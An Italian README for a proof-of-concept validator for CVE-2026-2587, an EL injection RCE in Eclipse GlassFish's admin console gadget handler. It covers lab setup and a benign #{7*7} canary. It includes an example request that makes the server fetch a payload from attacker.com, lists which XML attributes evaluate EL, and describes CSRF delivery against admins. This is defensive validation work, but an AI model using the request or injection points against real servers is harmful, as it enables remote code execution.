Validatore PoC per CVE-2026-2587 per Eclipse GlassFish EL Injection RCE nel gestore gadget.jsf della console di amministrazione. Scanner di vulnerabilità sicuro e autenticato per test autorizzati.
Validatore PoC sicuro per CVE-2026-2587, una vulnerabilità critica di EL Injection / RCE che colpisce la gestione dei gadget della console amministrativa di Eclipse GlassFish tramite /common/gadgets/gadget.jsf.
Questo strumento aiuta i team di sicurezza a convalidare l'esposizione a CVE-2026-2587 in ambienti autorizzati utilizzando un canarino EL aritmetico benigno.
Assegnato da: Eclipse Foundation (CNA) · Pubblicato: 19 maggio 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Injection del Linguaggio Espressione Versioni interessate:Sconosciutonell'avviso pubblico al 21 maggio 2026 Versioni corrette:Sconosciutonell'avviso pubblico al 21 maggio 2026 Regola dello scanner: la versione è solo contesto di instradamento/segnalazione; la sentenza richiede prova.
Una vulnerabilità critica di esecuzione remota di codice esiste nel gestore gadget della console amministrativa di GlassFish. L'applicazione elabora file .xml recuperati da un URL fornito tramite il parametro di query gadget= e valuta i valori forniti dall'utente all'interno degli attributi <ModulePrefs> attraverso il motore Java Expression Language (EL) senza sanitizzazione o escaping.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Se l'XML contiene `#{7*7}` in un attributo `<ModulePrefs title="">`, GlassFish lo valuta lato server e restituisce `49` — confermando l'esecuzione di EL. Una catena RCE completa segue attraverso l'accesso di EL al runtime Java.
Gli attuali avvisi pubblici non pubblicano un confine di versione affetta o corretta.
Questo validatore è quindi proof-first: identifica GlassFish e
riporta i metadati della versione, ma non classifica un obiettivo come vulnerabile basandosi solo sulla stringa di versione.
---
## Come Funziona

Il percorso di validazione sicura ospita una sonda XML benigna, invia una richiesta autenticata alla console di amministrazione verso `gadget.jsf`, consente a GlassFish di recuperare quell'XML dall'URL di callback e verifica se il canarino `<ModulePrefs title="">` valuta da `#{7*7}` a `49`.
**Punto di iniezione confermato vs. non confermato:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Scenario | Autenticazione necessaria? |
|---|---|
Colpo diretto a gadget.jsf | Sì — autenticazione FORM, pagina di login 200 |
| Attacco CSRF nel mondo reale | No — sfrutta la sessione attiva dell'amministratore |
| Questo validatore | Sì — --cookie o --username/--password |
| Verifica esposizione non autenticata | No — lo script lo testa automaticamente |
Il vettore CVSS PR:N / UI:R significa:
PR:N — l'attaccante non necessita di nessuna credenziale propriaUI:R — un amministratore connesso deve interagire (consegna CSRF)Per la validazione in laboratorio, salta del tutto il CSRF — usa direttamente la tua sessione di amministratore.
Requisiti: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Contenuti del repository:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Caveat: GHSA elenca ancora le versioni affette e corrette come sconosciute.
omnifish/glassfish:7.0.15è un buon candidato per il laboratorio — non una build garantita vulnerabile. La primitiva di validazione rimane il canarino aritmetico: se#{7*7}restituisce49, EL è attivo.
docker compose -f docker-compose.lab.yml up
Avvia GlassFish 7.0.15 con porte vincolate solo a `127.0.0.1` e `host.docker.internal` preconfigurato in modo che il container possa raggiungere il tuo server XML locale.
### Opzione B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Console di amministrazione: https://localhost:4848 · Login: admin / admin
(Certificato autofirmato — il browser mostrerà un avviso.)
In un secondo terminale:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Verifica la raggiungibilità dal punto di vista del container:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5